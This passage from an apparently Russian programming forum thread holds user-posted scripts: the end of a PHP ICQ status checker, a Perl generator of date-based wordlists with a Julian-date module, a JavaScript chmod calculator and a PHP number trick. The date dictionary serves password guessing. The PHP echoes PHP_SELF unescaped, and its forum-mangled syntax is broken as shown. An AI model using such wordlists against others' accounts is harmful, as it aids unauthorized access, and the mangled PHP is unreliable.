    preg_match ("/offline/i" "$s")) { $status "Оффлайн"; }
    elseif ( 
    preg_match ("/status\/invisible/i" "$s")) { $status "Невидимый"; } 
    else { 
    $status "Ошибка"; }

    echo 
    "UIN: $new<br>Статус: $status<br>"

    ?>
     
  18. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,508
    Likes Received:
    389
    Reputations:
    101
    Озадачился на днях генерацией словарика, содержащий только даты за определенный период. Также используются разные разделители, например, дата 2007.12.31:
    Code:
    20071231
    2007/12/31
    31.12.07
    
    и т.д.
    Набросал скриптик на перле, который просит 2 даты начальную и конечную. Так как мне влом было читать маны (перлдоки :) ) по модулям Date, взял за основу алгоритм вычисления юлианского дня из астрономии (тем более уже был код, тока на паскале =) ). Вот сам код:
    Code:
    #!/usr/bin/perl
    
    $argc = $#ARGV + 1;
    
    &usage () unless ($argc == 2);
    
    use Julian;
    use lib ".";
    
    %mon =
    (
      "01" => "january",
      "02" => "february",
      "03" => "march",
      "04" => "april",
      "05" => "may",
      "06" => "june",
      "07" => "july",
      "08" => "august",
      "09" => "september",
      "10" => "october",
      "11" => "november",
      "12" => "december"
    );
    
    ($year1, $month1, $day1) = &prepare_date ($ARGV[0]);
    die "Error in date: $ARGV[0]\n" if (!defined $year1 || !defined $month1 || !defined $day1);
    $startdate = $date = &Date2Julian ($year1, $month1, $day1, 0);
    ($year2, $month2, $day2) = &prepare_date ($ARGV[1]);
    die "Error in date: $ARGV[1]\n" if (!defined $year2 || !defined $month2 || !defined $day2);
    $enddate = &Date2Julian ($year2, $month2, $day2, 0);
    @sep = ("", ".", "/", "\\", "-", ":", ",");
    $sep_cnt = $#sep + 1;
    while ($date <= $enddate)
    {
      @dat = Julian2Date ($date);
      $dat[1] = "0" . $dat[1] if ($dat[1] < 10);
      $dat[2] = "0" . $dat[2] if ($dat[2] < 10);
      for ($i = 0; $i < $sep_cnt; $i++)
      {
        # YYYYMMDD
        print $dat[0] . $sep[$i] . $dat[1] . $sep[$i] . $dat[2] . "\n";
        print $dat[0] . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dat[2] . "\n";
        print $dat[0] . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
        print $dat[0] . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
        print $dat[0] . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dat[2] . "\n";
        print $dat[0] . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";
        print $dat[0] . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";
    
        # DDMMYYYY
        print $dat[2] . $sep[$i] . $dat[1] . $sep[$i] . $dat[0] . "\n";
        print $dat[2] . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dat[0] . "\n";
        print $dat[2] . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[0] . "\n";
        print $dat[2] . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[0] . "\n";
        print $dat[2] . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dat[0] . "\n";
        print $dat[2] . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dat[0] . "\n";
        print $dat[2] . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dat[0] . "\n";
    
        # DDMMYY
        $dd = substr ($dat[0], 2, 2);
        print $dat[2] . $sep[$i] . $dat[1] . $sep[$i] . $dd . "\n";
        print $dat[2] . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dd . "\n";
        print $dat[2] . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dd . "\n";
        print $dat[2] . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dd . "\n";
        print $dat[2] . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dd . "\n";
        print $dat[2] . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dd . "\n";
        print $dat[2] . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dd . "\n";
    
        # YYMMDD
        print $dd . $sep[$i] . $dat[1] . $sep[$i] . $dat[2] . "\n";
        print $dd . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dat[2] . "\n";
        print $dd . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
        print $dd . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
        print $dd . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dat[2] . "\n";
        print $dd . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";
        print $dd . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";
      }
      $date++;
    }
    
    exit 0;
    
    sub usage ()
    {
      print "Usage: $0 [start_date [end_date]]\n";
      print "  ex.: $0 1999/08/11\n";
      print "     : $0 1960/01/01 2002/12/31\n";
      exit 0;
    }
    
    sub prepare_date ($)
    {
      my ($date_str) = @_;
      my ($year, $month, $day);
    
      ($year, $month, $day) = split (/\//, $date_str);
      $year =~ s/[^\d]+//g if ($year =~ /[^\d]/);
      $month =~ s/[^\d]+// if ($month =~ /[^\d]/);
      $day =~ s/[^\d]+// if ($day =~ /[^\d]/);
      $year = substr ($year, 0, 4) if (length ($year) > 4);
      $month = substr ($month, 0, 2) if (length ($month) > 2);
      $day = substr ($day, 0, 2) if (length ($day) > 2);
      $year =~ s/^0+// if ($year =~ /^0/);
      $month =~ s/^0// if ($month =~ /^0/);
      $day =~ s/^0// if ($day =~ /^0/);
      return undef if (($month < 1) || $month > 12);
      return undef if (($day < 1) || $day > 31);
      return ($year, $month, $day);
    }
    
    код функций Date2Julian и Julian2Date вынес в отдельный пакет Julian.pm
    Code:
    package Julian;
    use strict;
    use vars qw (@EXPORT @ISA $VERSION);
    require Exporter;
    
    $VERSION = "0.1";
    @ISA = qw (Exporter);
    @EXPORT = qw (Date2Julian Julian2Date);
    #-----------------------------------------------------------------------#
    #  Date2Julian: Julian Date                                             #
    #      The routine is valid for any date since 4713 BC.                 #
    #      Julian calendar is used up to 1582 October 4,                    #
    #      Gregorian calendar is used from 1582 October 15 onwards.         #
    #-----------------------------------------------------------------------#
    sub Date2Julian ($$$$)
    {
      my ($year, $month, $day, $hour) = @_;
      my ($A, $B, $jd);
    
      $A = 10000.0 * $year + 100.0 * $month + $day;
      if ($month <= 2)
      {
        $month += 12;
        $year--;
      }
      if ($A <= 15821004.1)
      {
        $B = -2 + int (($year + 4716) / 4) - 1179;
      }
      else
      {
        $B = int ($year / 400) - int ($year / 100) + int ($year / 4);
      }
      $A = 365 * $year - 679004.0;
      $jd = $A + $B + int (30.6001 * ($month + 1)) + $day + $hour / 24.0;
      return $jd + 2400000.5;
    }
    
    #---------------------------------------------------------------------------#
    # Julian2Date: Finds the civil calendar date for a given value              #
    #              of the Julian Date (JD).                                     #
    #              Julian calendar is used up to 1582 October 4,                #
    #              Gregorian calendar is used from 1582 October 15 onwards.     #
    #---------------------------------------------------------------------------#
    sub Julian2Date ($)
    {
      my ($jd) = @_;
      my ($day, $month, $year, $hour);
      my ($B, $D, $F);
      my ($jd0, $C, $E, @dat);
    
      $jd0 = int ($jd + 0.5);
      if ($jd0 < 2299161.0)                 # calendar
      {
        $C = $jd0 + 1524.0;                 # -> Julian
      }
      else                                  # -> Gregorian
      {
        $B = int (($jd0 - 1867216.25) / 36524.25);
        $C = $jd0 + ($B - int ($B / 4)) +1525.0;
      }
      $D = int (($C - 122.1) / 365.25);
      $E = 365.0 * $D + int ($D / 4);
      $F = int (($C - $E) / 30.6001);
      $day = int ($C - $E + 0.5) - int (30.6001 * $F);
      $month = $F - 1 - 12 * int ($F / 14);
      $year = $D - 4715 - int ((7 + $month) / 10);
      $hour = 24.0 * ($jd + 0.5 - $jd0);
      @dat = ($year, $month, $day, $hour);
      return @dat;
    }
    
    При использовании года в формате YY (две последние цифры года) и при охвате периода более ста лет в словаре возможны повторения.
    Возможно, скриптик будет полезен кому-нить.
     
  19. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    758
    Likes Received:
    1,053
    Reputations:
    291
    Поможет выставить права
    PHP:
    <script language="JavaScript">
    <!--
    /* chmod helper, Version 1.0
     * by Dan Kaplan <design@abledesign.com>
     * Last Modified: May 24, 2001
     * --------------------------------------------------------------------
     * Inspired by 'Chmod Calculator' by Peter Crouch:
     * http://wsabstract.com/script/script2/chmodcal.shtml
     *
     * USE THIS LIBRARY AT YOUR OWN RISK; no warranties are expressed or
     * implied. You may modify the file however you see fit, so long as
     * you retain this header information and any credits to other sources
     * throughout the file.  If you make any modifications or improvements,
     * please send them via email to Dan Kaplan <design@abledesign.com>.
     * --------------------------------------------------------------------
    */

    function do_chmod(user) {
        var 
    field4 user "4";
        var 
    field2 user "2";
        var 
    field1 user "1";
        var 
    total "t_" user;
        var 
    symbolic "sym_" user;
        var 
    number 0;
        var 
    sym_string "";

        if (
    document.chmod[field4].checked == true) { number += 4; }
        if (
    document.chmod[field2].checked == true) { number += 2; }
        if (
    document.chmod[field1].checked == true) { number += 1; }

        if (
    document.chmod[field4].checked == true) {
            
    sym_string += "r";
        } else {
            
    sym_string += "-";
        }
        if (
    document.chmod[field2].checked == true) {
            
    sym_string += "w";
        } else {
            
    sym_string += "-";
        }
        if (
    document.chmod[field1].checked == true) {
            
    sym_string += "x";
        } else {
            
    sym_string += "-";
        }

        if (
    number == 0) { number ""; }
        
    document.chmod[total].value number;
        
    document.chmod[symbolic].value sym_string;

        
    document.chmod.t_total.value document.chmod.t_owner.value document.chmod.t_group.value document.chmod.t_other.value;
        
    document.chmod.sym_total.value "-" document.chmod.sym_owner.value document.chmod.sym_group.value document.chmod.sym_other.value;
    }
    //-->
    </script>



    <form name="chmod">
    <p><table cellpadding="0" cellspacing="0" border="0" bgcolor="#03075D"><tr><td width="100%" valign="top"><table width="100%" cellpadding="5" cellspacing="2" border="0"><tr><td width="100%" bgcolor="#52847B" align="center" colspan="5"><font color="#ffffff" size="3"><b>chmod (File Permissions) helper</b></font></td></tr>
        <tr bgcolor="#bcbcbc">
            <td align="left"><b>Permission</b></td>
            <td align="center"><b>Owner</b></td>
            <td align="center"><b>Group</b></td>
            <td align="center"><b>Other</b></td>
            <td bgcolor="#dddddd" rowspan="4">*</td>
        </tr><tr bgcolor="#dddddd">
            <td align="left" nowrap><b>Read</b> (r = 4)</td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner4" value="4" onclick="do_chmod('owner')"></td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group4" value="4" onclick="do_chmod('group')"></td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other4" value="4" onclick="do_chmod('other')"></td>
        </tr><tr bgcolor="#dddddd">
            <td align="left" nowrap><b>Write</b> (w=2)</td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner2" value="2" onclick="do_chmod('owner')"></td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group2" value="2" onclick="do_chmod('group')"></td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other2" value="2" onclick="do_chmod('other')"></td>
        </tr><tr bgcolor="#dddddd">
            <td align="left" nowrap><b>Execute</b> (x=1)</td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner1" value="1" onclick="do_chmod('owner')"></td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group1" value="1" onclick="do_chmod('group')"></td>
            <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other1" value="1" onclick="do_chmod('other')"></td>
        </tr><tr bgcolor="#dddddd">
            <td align="right" nowrap>Octal:</td>
            <td align="center"><input type="text" name="t_owner" value="" size="1"></td>
            <td align="center"><input type="text" name="t_group" value="" size="1"></td>
            <td align="center"><input type="text" name="t_other" value="" size="1"></td>
            <td align="left"><b>=</b> <input type="text" name="t_total" value="" size="3"></td>
        </tr><tr bgcolor="#dddddd">
            <td align="right" nowrap>Symbolic:</td>
            <td align="center"><input type="text" name="sym_owner" value="" size="3"></td>
            <td align="center"><input type="text" name="sym_group" value="" size="3"></td>
            <td align="center"><input type="text" name="sym_other" value="" size="3"></td>
            <td align="left"><b>=</b> <input type="text" name="sym_total" value="" size="10"></td>
        </tr><tr bgcolor="#dddddd"><td colspan="5" align="center">
            <font face="Arial" size="1">Provided free by <a href="http://abledesign.com/programs/" target="_blank">AbleDesign</a>, inspired by <a href="http://wsabstract.com/script/script2/chmodcal.shtml" target="_blank">Chmod Calculator</a></font>
        </td></tr>
    </table></td></tr></table></p>
    </form>
    копирайты в сырце
     
    1 person likes this.
  20. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Вобщем как обычно делать нечего.
    PHP:
    <?php
        session_start
    ();
        echo(
    '<title>Магический квадрат</title><style>a.mag:link, a.mag:hover, a.mag:active, a.mag:visited { color: Green; font-size: 90px; text-decoration: none; } </style>1. Задумайте любое двухзначное число. <br>2. Вычтите из него составляющие его цифры (например, из числа 54 надо вычесть 5 и 4, получится 45). <br>3. Найдите это число в таблице и символ, которому оно соответствует. <br>4. Вообразите мысленно себе этот символ. <br>5. Щелкните по квадрату.<br>');
        function 
    next_step()
        {
            if(
    $_SESSION['symbol'] && $_SERVER['QUERY_STRING'] == 'continue')
            {
                return 
    true;
            }
            else
            {
                return 
    false;
            }
        }
        if(!
    next_step())
        {
            echo(
    '<table align="center"><a href="'.$_SERVER['PHP_SELF'].'?continue"><div style="background: #000000; width: 100; height: 100;"></div></a></table><br><table width="500" align="center" style="font-size: 18px;"><tr>');
            
    $array = array(091827364554637281);
            
    $symbols 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz<>^&*_+?!~';
            
    $number $symbols{rand(0,strlen($symbols)-1)};
            
    $_SESSION['symbol'] = $number;
            function 
    getsym()
            {
                global 
    $number$symbols;
                
    $symbol $symbols{rand(0,strlen($symbols)-1)};
                if(
    $symbol == $number)
                {
                    return 
    getsym();
                }
                else
                {
                    return 
    $symbol;
                }
            }
            for(
    $i 99$i >= 0$i--)
            {
                echo(
    '<td>'.$i.'</td><td>-</td><td><b style="color: YellowGreen;">');
                if(
    in_array($i$array))
                {
                    echo 
    $number;
                }
                else
                {
                    echo 
    getsym();
                }
                echo(
    '</b></td>');
                if((
    $i 10) == round(($i 10)) && $i != 0)
                {
                    echo(
    '</tr><tr>');
                }
            }
            echo(
    '</tr></td></table><br><div align="center">Для продолжения нажмите на чёрный квадрат.</div>');
        }
        else
        {
            echo(
    '<table align="center"><a class="mag" href="'.$_SERVER['PHP_SELF'].'"><div style="background: #000000; width: 100; height: 100; text-align: center;">'.$_SESSION['symbol'].'</div></a></table><div align="center">Это он? <a href="'.$_SERVER['PHP_SELF'].'">Заново</a>.</div>');
        }
    ?>
    Не забудьте убрать лишние пробелы из скрипта, созданные форумом. Вот пример.
     
    4 people like this.
Loading...